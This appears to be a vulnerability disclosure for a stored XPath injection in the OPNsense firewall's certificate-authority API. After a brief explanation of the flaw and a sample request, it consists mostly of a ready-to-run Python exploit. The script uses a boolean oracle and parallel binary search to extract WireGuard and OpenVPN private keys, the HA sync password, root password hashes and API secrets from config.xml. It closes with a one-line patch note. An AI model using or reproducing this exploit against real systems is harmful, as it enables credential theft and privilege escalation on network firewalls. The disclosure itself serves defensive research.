📄 OPNsense XPATH Injection

SUMMARY: a stored XPATH injection allows any user with just ca
    manager/certificate manager perms to leak any secret key/any value in
    config.xml, thus achieving privilege escalation and potentially remote
    code execution. this can also likely be chained via csrf and some
    clever hiding. see
    https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
    
    
    == VULN ==
    the primary vulnerable sink is here:
    
    $refcount = count(Config::getInstance()->object()->xpath("//*[text() =
    '{$node->refid}']")) - 1;
    
    as we control node->refid, which can be seen in here:
    
     protected function setBaseHook($node)
        {
            if (empty((string)$node->refid)) {
                $node->refid = uniqid();
            }
            $error = false;
            if (!empty((string)$node->prv_payload)) {
                /** private key manually offered */
                $node->prv = base64_encode((string)$node->prv_payload);
            }
    
    we know that if refid is empty it'll be a uniqid - which means its
    meant to be alphanumeric. notably, there are no preg_match/regex
    matches that check whether or not a user supplied refid isnt
    alphanumeric. in this case, we can now test this by hitting this
    endpoint:
    
    POST /api/trust/ca/add HTTP/12.1
    Content-Type: application/x-www-form-urlencoded
    
    ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email][email protected]
    
    to truly exploit this we can write a script that turns the xpath
    injection we have into a decent boolean oracle, then slowly leak each
    character. for example, an openvpn private key or a root password
    hash.
    
    
    == xp ==
    
    import argparse
    import string
    import sys
    import random
    import threading
    from concurrent.futures import ThreadPoolExecutor
    from queue import Queue
    import requests
    import urllib3
    
    urllib3.disable_warnings()
    # yeah idk dude iiwiw lol
    
    targs = {
        "wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
        "wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
        "hasyncpw": "//hasync/password",
        "roothash": "//system/user/password",
        "rootkey": "//system/user/apikeys/item/key",
        "rootsecret": "//system/user/apikeys/item/secret",
        "openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
    }
    
    cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
    # print("".join(cset))
    
    
    makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"
    
    total = 0
    lock = threading.Lock()
    
    # mega ass
    def sesh(a):
        s = requests.Session()
        s.auth = a
        s.verify = False
        return s
    
    
    def prober(s, base, n):
        canary = makecanary()
        r = s.post(f"{base}/api/trust/ca/add", data={
            "ca[refid]": canary, "ca[descr]": f"p{n}",
            "ca[action]": "internal", "ca[commonname]": f"p{n}",
        }, timeout=30)
        return r.json().get("uuid", "n/a"), canary
    
    
    def inj(s, base, ca_uuid, nx, condition):
        global total
        payload = f"{nx}' or ({condition}) or 'x'='"
        s.post(
            f"{base}/api/trust/ca/set/{ca_uuid}",
            data={"ca[refid]": payload},
            timeout=30,
        )
        r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
        with lock:
            total += 1
        ca = r.json().get("ca", {})
        # refcount = int(ca["refcount"])
        refcount = int(ca.get("refcount", "0"))
        return refcount > 0
    
    
    def getlen(s, base, ca, nx, xpath):
        lo, hi = 0, 300
        while lo < hi:
            mid = (lo + hi + 1) // 2
            if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
                lo = mid
            else:
                hi = mid - 1
        return lo
    
    
    def binsrch(s, base, ca, nx, xpath, pos):
        cands = cset[:]
        while len(cands) > 1:
            midpoint = len(cands) // 2
            half = "".join(cands[:midpoint])
            cond = f"contains('{half}', substring({xpath},{pos},1))"
            if inj(s, base, ca, nx, cond):
                cands = cands[:midpoint]
            else:
                cands = cands[midpoint:]
    
        c = cands[0]
        if c == "'":
            lit = f'"{c}"'
        else:
            lit = f"'{c}'"
    
        cond = f"substring({xpath},{pos},1)={lit}"
        if inj(s, base, ca, nx, cond):
            return c
        return None
    
    
    def extract(workers, base, xpath):
        s0, ca0, nx0 = workers[0]
        length = getlen(s0, base, ca0, nx0, xpath)
        if length == 0:
            return ""
        print(f"+ maybe {length} len")
    
        result = ["?"] * length
    
        wq = Queue()
        for w in workers:
            wq.put(w)
        # start grabbing
        def do(pos):
            s, ca, nx = wq.get()
            try:
                return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
            finally:
                wq.put((s, ca, nx))
    
        with ThreadPoolExecutor(max_workers=len(workers)) as pool:
           # for pos, ch in pool.map(doer_func(p), range(length)):
            for pos, ch in pool.map(lambda p: do(p), range(length)):
                if ch:
                    result[pos] = ch
                sys.stdout.write(ch or "#")
                sys.stdout.flush()
    
        print()
        return "".join(result)
    
    
    def main():
        global total
        print("xray")
        target_names = list(targs.keys())
        target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
        # i gave it a bs name
        parser = argparse.ArgumentParser(
            description="x-ray",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="extractables:\n" + target_list,
        )
        parser.add_argument("targ", help="base url")
        parser.add_argument("api_key", help="you need this")
        parser.add_argument("api_secret", help="this too")
        parser.add_argument("target", nargs="?", default="all",
    choices=target_names + ["all"], help="target to extract")
        parser.add_argument("-w", "--workers", type=int, default=8,
    help="how many workers in parallel")
        args = parser.parse_args()
    
        base = args.targ.rstrip("/")
        auth = (args.api_key, args.api_secret)
    
    
        s = sesh(auth)
        r = s.get(f"{base}/api/trust/ca/search", timeout=10)
        if r.status_code != 200:
            print("- bro")
            sys.exit(1)
        print("+ oh sweet we can access the ca api")
    
    
        workers = []
    
        for i in range(args.workers):
            ws = sesh(auth)
            uuid, nx = prober(ws, base, i)
            if not uuid:
                print("creating probe failed (prober)")
                sys.exit(1)
            workers.append((ws, uuid, nx))
        print(f"+ {args.workers} probing\n")
    
        # extract
        if args.target == "all":
            targets = targs
        else:
            targets = {args.target: targs[args.target]}
        for name, xpath in targets.items():
            print(f"+ {name}")
            s0, ca0, nx0 = workers[0]
            if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
                print("n/a")
                continue
            val = extract(workers, base, xpath)
            print(f"{repr(val)}  ({total} reqs)\n")
        # finally: # nvm
        # cleanup but not really beacuse im lazy
        for ws, ca, nx in workers:
        ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
        print(f"+ done {total}")
    
    
    if __name__ == "__main__":
        main()
    
    
    == PATCH/MITIG ==
    
    update to 26.1.10. alternatively, add a preg_match guard and an input
    mask to Ca.xml by hand (if youre about that life)